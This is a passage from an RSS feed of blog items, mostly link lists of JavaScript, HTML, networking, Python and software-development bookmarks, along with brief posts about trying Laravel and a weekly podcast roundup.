&lt;li&gt;&lt;a href="https://medium.com/@goatslacker/no-you-dont-need-semicolons-148d936b9cf2#.s5839x3mt"&gt;No, you don’t need semicolons (Medium)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/uber/npm-shrinkwrap"&gt;npm-shrinkwrap&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.pagedmedia.org/paged-js/"&gt;Paged.js – Paged Media (book/blog publishing)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/arscan/pleaserotate.js"&gt;pleaserotate.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://pathgather.github.io/please-wait/"&gt;PleaseWait.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/kozakrisz/react---es6-tricks-in-classes-33je"&gt;React - ES6 tricks in Classes - DEV Community&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://egghead.io/lessons/javascript-redux-the-single-immutable-state-tree"&gt;Redux: The Single Immutable State Tree&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=3LKMwkuK0ZE&amp;amp;feature=youtu.be"&gt;RxJS 5 Thinking Reactively | Ben Lesh - YouTube&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@benlesh/rxjs-observable-interop-with-promises-and-async-await-bebb05306875"&gt;RxJS Observable interop with Promises and Async-Await&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=13031492"&gt;Show HN: A visual guide to the most popular CSS properties (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=12954540"&gt;Show HN: JavaScript books, free online (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://snapsvg.io/"&gt;Snap.svg: the JavaScript SVG library for the modern web&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://reactkungfu.com/2015/07/the-hitchhikers-guide-to-modern-javascript-tooling/"&gt;The Hitchhiker's Guide to Modern JavaScript Tooling&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/focusaurus/data/blob/0aa94a91181d3a85b148375d24adca4a166c4be0/posts/problog/2015/10/tools-for-cleaning-up-messy-javascript.md"&gt;Tools for cleaning up messy Javascript&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.kewah.com/2015/tools-to-keep-a-consistent-coding-style-in-javascript/"&gt;Tools to keep a consistent coding style in JavaScript&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jonobr1.github.io/two.js"&gt;Two.js is a two-dimensional drawing api geared towards modern web browsers&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://vorlonjs.com/"&gt;Vorlon.JS: remotely debugging and testing your JavaScript&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bjorn.tipling.com/state-and-regular-expressions-in-javascript"&gt;What you should know about JavaScript regular expressions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.keithcirkel.co.uk/why-we-should-stop-using-grunt/"&gt;Why we should stop using Grunt &amp;amp; Gulp&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://xahlee.info/js/js.html"&gt;Xah Lee's JavaScript in Depth&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 14 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/javascript-bookmarks</guid></item><item><title>HTML bookmarks</title><link>https://xenodium.com/html-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hacks.mozilla.org/2016/08/a-few-html-tips/"&gt;A few HTML tips (Mozilla)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/lyoshenka/awesome-motherfucking-website"&gt;awesome-motherfucking-website: An awesome list of websites about minimal web design and copious swearing&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bettermotherfuckingwebsite.com/"&gt;Better Motherfucking Website&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mo.github.io/2015/10/19/chrome-devtools.html"&gt;Chrome Devtools Tips &amp;amp; Tricks&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=10416062"&gt;Chrome Devtools Tips and Tricks (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.chromium.org/2014/06/web-fundamentals-and-web-starter-kit.html"&gt;Chromium's web fundamentals and Web Starter Kit&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ishadeed.com/article/css-grid-area/"&gt;CSS Grid Areas&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Layout_cookbook"&gt;CSS Layout cookbook - CSS: Cascading Style Sheets (MDN)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.pandastrike.com/posts/20151015-rest-vs-relay"&gt;Facebook Relay: An Evil And/Or Incompetent Attack On REST&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://htmlhead.dev/"&gt;HEAD - A free guide to &amp;lt;head&amp;gt; elements&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=21119553"&gt;HEAD – A guide to &amp;lt;head&amp;gt; elements (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.ustunozgur.com/javascript/programming/books/videos/2015/06/17/how_to_be_a_great_javascript_software_developer.html"&gt;How to Become a Great JavaScript Developer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.fse.guru/how-to-pick-a-frontend-web-framework"&gt;How To Pick a Frontend Web Framework&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://markodenic.com/html-tips/"&gt;HTML Tips (2020) - Marko Denic - Web Developer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/Learn"&gt;Learning the Web (mozilla.org)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://motherfuckingwebsite.com/"&gt;Motherfucking Website&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=26952557"&gt;My Current HTML Boilerplate | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://perfectmotherfuckingwebsite.com/"&gt;Perfect Motherfucking Website&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://philipwalton.github.io/solved-by-flexbox/"&gt;Solved by Flexbox&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thebestmotherfucking.website/"&gt;The Best Motherfucking Website&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ultimatemotherfuckingwebsite.com/"&gt;Ultimate Motherfucking Website&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wave.webaim.org/report#/"&gt;WAVE Report (web accessiblity evaluation tool)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jgthms.com/web-design-in-4-minutes"&gt;Web Design in 4 minutes&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/paulirish/5d52fb081b3570c81e3a"&gt;What forces a layout / reflow&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/yemeksepeti-teknoloji/what-ive-learned-from-working-with-html5-video-over-a-month-485c5d5c2045"&gt;What I’ve Learned From Working With HTML5 Video Over A Month&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bradleytaunt.com/2019/06/08/html-like-1999"&gt;Write HTML Like It's 1999&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 14 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/html-bookmarks</guid></item><item><title>Networking bookmarks</title><link>https://xenodium.com/networking-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=27650775"&gt;Ask HN: Good books/courses to learn networking essentials for web development&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cr.yp.to/djbdns/tools.html"&gt;Command-line tools to look up DNS information&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=21794270"&gt;Stanford CS 144: Introduction to Computer Networking | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 14 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/networking-bookmarks</guid></item><item><title>Experimenting with Laravel</title><link>https://liza.io/experimenting-with-laravel/</link><description>&lt;p&gt;I&amp;rsquo;m sitting here working on Gastropoda on a train to Norrköping. A couple of days ago I started experimenting with Laravel after the friendly folks on &lt;a href="http://reddit.com/r/php" target="_blank"&gt;/r/php&lt;/a&gt; provided some invaluable input to my vanilla PHP vs framework question.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 13 Jul 2014 14:22:43 GMT</pubDate><guid isPermaLink="true">https://liza.io/experimenting-with-laravel/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-6714.html</link><description>&lt;p&gt;I am considering using a boilerplate for the introduction to this article, and keeping the actual noteworthy content the dynamic aspect going forward. So, let&amp;#8217;s give it a try with last week&amp;#8217;s opening: &amp;#8220;Another week, another set of great podcasts for your listening pleasure. Enjoy.&amp;#8221;&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-6714.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 13 Jul 2014 10:56:42 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-6714.html</guid></item><item><title>Python bookmarks</title><link>https://xenodium.com/python-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.python.org/3/tutorial/venv.html"&gt;12. Virtual Environments and Packages — Python 3.7.4 documentation (pipenv)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/mkaz/termgraph"&gt;A python command-line tool which draws basic graphs/charts in the terminal&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mkaz.com/2014/07/26/python-argparse-cookbook/"&gt;Argparse cookbook&lt;/a&gt;: For simple python scripts.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://linuxhint.com/best_50_python_books/"&gt;Best 50 Python Books for Programmers with All Skill Sets&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://python.net/~goodger/projects/pycon/2007/idiomatic/handout.html"&gt;Code Like a Pythonista: Idiomatic Python&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/pudo/dataset"&gt;Dataset: databases for lazy people&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.diveintopython3.net/"&gt;Dive Into Python 3 book&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.diveintopython.net/"&gt;Dive Into Python book&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/asciimoo/drawille/"&gt;Drawille&lt;/a&gt;: Python drawing in ascii/unicode braille characters.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pandas.pydata.org/pandas-docs/stable/user_guide/visualization.html"&gt;Pandas visualization&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.python.org/dev/peps/pep-0020/"&gt;PEP 20 – The Zen of Python&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.python.org/pypi/pudb"&gt;Pudb&lt;/a&gt;: A tui python debugger.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://pycoders.com/"&gt;Pycoders weekly mailing list&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://books.google.co.uk/books?id=9_AXCmGDiz8C&amp;amp;hl=en&amp;amp;redir_esc=y"&gt;Python Algorithms book&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=11240729"&gt;Python patterns, Take One (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://taoofmac.com/space/blog/2013/08/11/2300"&gt;Python patterns, Take One&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.airpair.com/python/posts/python-tips-and-traps"&gt;Python Tips and Traps&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://irreal.org/blog/?p=3860"&gt;Python tools for Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tech.blog.aknin.name/tag/internals/page/2/"&gt;Python’s Innards: Hello, ceval.c!&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/python_tip/status/1111349676106833920"&gt;Read Excel sheet with Python/Pandas (Twitter)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.johndcook.com/blog/python_regex/"&gt;Regular expressions in Python and Perl&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.johndcook.com/blog/2019/01/24/reversing-an-md5-hash/"&gt;Reversing an MD5 hash (python)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/deanmalmgren/textract"&gt;Textract&lt;/a&gt;: Python util extracting text from a handful of document types.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://julien.danjou.info/blog/2013/guide-python-static-class-abstract-methods"&gt;The definitive guide on how to use static, class or abstract methods in Python&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://julien.danjou.info/books/the-hacker-guide-to-python"&gt;The Hacker's guide to python&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.quantifiedcode.com/python-anti-patterns/"&gt;The Little Book of Python Anti-Patterns&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.instavest.com/three-useful-python-libraries-for-startups"&gt;Three Useful Python Libraries for Startups&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://effbot.org/zone/python-with-statement.htm"&gt;Understanding Python's &amp;quot;with&amp;quot; statement&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/gorakhargosh/watchdog"&gt;Watchdog&lt;/a&gt; (monitor filesystem in python).&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 13 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/python-bookmarks</guid></item><item><title>Development bookmarks</title><link>https://xenodium.com/development-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.redblobgames.com/grids/hexagons/"&gt;Hexagonal Grids&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=25803288"&gt;Big O Notation – Explained as easily as possible | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/humblecoder00/comprehensive-big-o-notation-guide-in-plain-english-using-javascript-3n6m"&gt;Comprehensive Big O Notation Guide in Plain English, using Javascript&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://justsimply.dev/"&gt;Just Simply | Stop saying how simple things are in our docs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=25698707"&gt;Show HN: DevBooks – Help Developers find indy books | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://codecatalog.org/2021/09/04/well-documented-code.html"&gt;Writing Well-Documented Code - Learn from Examples - Code Catalog&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://norvig.com/lispy.html"&gt;(How to Write a (Lisp) Interpreter (in Python)): parse, tokenize, read from tokens, environments, eval, and repl &lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://amplitude.com/blog/12-signs-youre-working-in-a-feature-factory-3-years-later"&gt;12 Signs You’re Working in a Feature Factory - 3 Years Later&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.exceptionnotfound.net/fundamental-laws-of-software-development/"&gt;15 Fundamental Laws of Software Development&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://guifroes.com/2018/03/23/3-books-that-will-take-you-to-the-next-level/"&gt;3 books that will take you to the next level – Gui Froes&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://quickleft.com/blog/8-tips-get-started-existing-codebase/"&gt;8 Tips To Get Started In An Existing Codebase&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sahandsaba.com/nine-anti-patterns-every-programmer-should-be-aware-of-with-examples.html"&gt;9 Anti-Patterns&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/andymatuschak/d5f0a8730ad601bcccae97e8398e25b2"&gt;A composable pattern for pure state machines with effects&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://increment.com/programming-languages/crash-course-in-compilers/"&gt;A crash course in compilers – Increment: Programming Languages&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.coursera.org/learn/algorithms-part1#syllabus"&gt;Algorithms, Part I - Princeton University (Coursera)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cs.bsu.edu/homepages/pvg/misc/uml/"&gt;All the UML you need to know&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://skerritt.blog/big-o/"&gt;All You Need to Know About Big O Notation {Python Examples}&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nicoleorchard.com/blog/compilers"&gt;An intro to compilers&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://apprenticealf.wordpress.com/"&gt;Apprentice Alf’s Blog: Everything you ever wanted to know about DRM and ebooks&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=21919465"&gt;Ask HN: How do I choose the right resource to learn CS fundamentals?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=12702651"&gt;Ask HN: What is your favorite YouTube channel for developers? (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=11005003"&gt;Ask HN: What's the most elegant piece of code you've seen? (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://floooh.github.io/2020/08/23/sokol-bindgen.html"&gt;Automatic Language Bindings (via clang -ast-dump)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/sindresorhus/awesome/blob/master/readme.md"&gt;Awesome lists of everything (Github)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.expeditedssl.com/aws-in-plain-english"&gt;AWS in plain English&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://robertmuth.blogspot.it/2012/08/better-bash-scripting-in-15-minutes.html"&gt;Better Bash scripting in 15 Minutes&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wincent.com/blog/optimization"&gt;Beware of cute optimizations bearing gifts (building fuzzy search) · wincent.com&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/metcoder95/big-o-notation-beginners-guide-1h38"&gt;Big-O Notation: Beginners Guide - DEV Community&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://speakerdeck.com/bbatsov/knighitie-koito-vsieki-proghramist-triabva-da-prochietie"&gt;Bozhidar Batsov's presentation (lots of great books listed)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.murrayc.com/permalink/2018/12/07/brain-refactored"&gt;Brain, refactored: lots of wonderful dev learning references (Murray's Blog)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=18821475"&gt;Bytecode compilers and interpreters (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://refactoring.com/catalog"&gt;Catalog of Refactorings&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://arturoherrero.com/clean-code/"&gt;Clean code&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://kevinlondon.com/2015/05/05/code-review-best-practices.html"&gt;Code review best practices&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/vonheikemen/code-style-rules-that-are-actually-useful-3igf"&gt;Code style rules that are actually useful (DEV Community)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=12687711"&gt;Command line interface best practices (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=19010492"&gt;Confessions of an Abstraction Hater (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://games.greggman.com/game/imgui-future/"&gt;Could ImGUI be the future of GUIs?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cs.usfca.edu/~galles/visualization/Algorithms.html"&gt;Data structure visualization&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rxin/db-readings"&gt;Database readings&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mollyrocket.com/casey/stream_0028.html"&gt;Designing and evaluating reusable components&lt;/a&gt;: Talk by Casey Muratori.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://doc.qt.digia.com/qq/qq13-apis.html"&gt;Designing Qt-Style C++ APIs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/ermmears/status/1118929832103034881"&gt;Diverse podcasts in @ermmears's tweet comments&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.co.uk/Domain-driven-Design-Tackling-Complexity-Software/dp/0321125215/ref=sr_1_1?ie=UTF8&amp;amp;qid=1444472442&amp;amp;sr=8-1&amp;amp;keywords=domain+driven+design"&gt;Domain-driven design: Tackling Complexity in the Heart of Software (Book)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/playlist?list=PL94E35692EB9D36F3"&gt;Donald Knuth Lectures - YouTube&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://s9w.io/font_compare"&gt;Font compare&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/fdiskyou/Zines"&gt;GitHub - fdiskyou/Zines: hacking Zines mirror for the lulz and nostalgy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kilimchoi/engineering-blogs"&gt;GitHub - kilimchoi/engineering-blogs: A curated list of engineering blogs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://google-styleguide.googlecode.com/svn/trunk/shell.xml"&gt;Google shell style guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://hackershelf.com/browse/?popular=1"&gt;Hacker shelf: Free software dev books&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://oedb.org/ilibrarian/hacking-knowledge/"&gt;Hacking knowlege&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slack.engineering/happiness-is-a-freshly-organized-codebase-7ffa6590a70d"&gt;Happiness is… a freshly organized codebase - Several People Are Coding (aka feature-driven org)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/"&gt;Heap Exploitation Part 1: Understanding the Glibc Heap Implementation | Azeria Labs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.triplebyte.com/how-to-pass-a-programming-interview"&gt;How to pass a programming interview&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://paragonie.com/blog/2015/09/how-to-safely-implement-cryptography-in-any-application"&gt;How to Safely Implement Cryptography Features in Any Application&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://staff.polito.it/silvano.rivoira/HowToWriteYourOwnCompiler.htm"&gt;How to write your own compiler&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jeremymikkola.com/posts/2019_03_19_rules_for_autocomplete.html"&gt;Jeremy Mikkola - Rules for Autocomplete&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://joeduffyblog.com/2016/02/07/the-error-model/"&gt;Joe Duffy - The Error Model&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.libhunt.com"&gt;LibHunt - Find The Software You Need&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/lfit/itpol/blob/master/linux-workstation-security.md"&gt;Linux workstation security checklist&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://newartisans.com/2011/04/letter-to-the-fsf/"&gt;Lost in Technopolis&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://robertheaton.com/2015/08/31/migrating-bajillions-of-database-records-at-stripe/"&gt;Migrating bajillions of database records at Stripe&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.quora.com/How-does-Login-with-Facebook-option-work-on-third-party-websites"&gt;OAuth diagram/explanation (Quora)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://getpolarized.io/2019/01/08/top-pdfs-of-2018-hackernews.html"&gt;Over 500 Top PDFs posted to Hacker News in 2018&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=18772873"&gt;Please do not attempt to simplify this code: favors completeness, boilerplate, and documentation in the name of stability and long term maintenance (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://quickleft.com/blog/readme-love-quick-easy-tips/"&gt;README Love: Quick and easy tips&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.co.uk/Refactoring-Improving-Design-Existing-Technology/dp/0201485672/ref=sr_1_1?ie=UTF8&amp;amp;qid=1444472751&amp;amp;sr=8-1&amp;amp;keywords=refactoring+improving+the+design+of+existing+code"&gt;Refactoring: Improving the design of existing code (Book)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/sarahmei/status/783340259073335296"&gt;Sarah Mei on livable coebases&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://semver.org/"&gt;Semantic Versioning 2.0.0 (Semantic Versioning)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=24777640"&gt;Show HN: I wrote a book on writing good developer resumes | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=22335738"&gt;Signs you’re working in a feature factory | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bourgeois.me/rest/"&gt;Some REST best practices&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://groups.csail.mit.edu/mac/classes/6.001/abelson-sussman-lectures/"&gt;Structure and Interpretation of Computer Programs&lt;/a&gt; (videos).&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.norvig.com/21-days.html"&gt;Teach Yourself Programming in Ten Years&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://technosophos.com/2018/07/04/be-nice-and-write-stable-code.html"&gt;TechnoSophos: Be Nice And Write Stable Code (versioning scheme)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jlevy/the-art-of-command-line"&gt;The art of command line&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=14020796"&gt;The Debugging Mindset (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://journal.stuffwithstuff.com/2015/09/08/the-hardest-program-ive-ever-written"&gt;The Hardest Program I've Ever Written (a code formatter)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://speakerdeck.com/bbatsov/knighitie-koito-vsieki-proghramist-triabva-da-prochietie"&gt;The passionate programmer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=21603920"&gt;Things I’ve learned in 20 years of programming | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jbranchaud/til"&gt;TIL: today I learned&lt;/a&gt;.&lt;/li&gt;
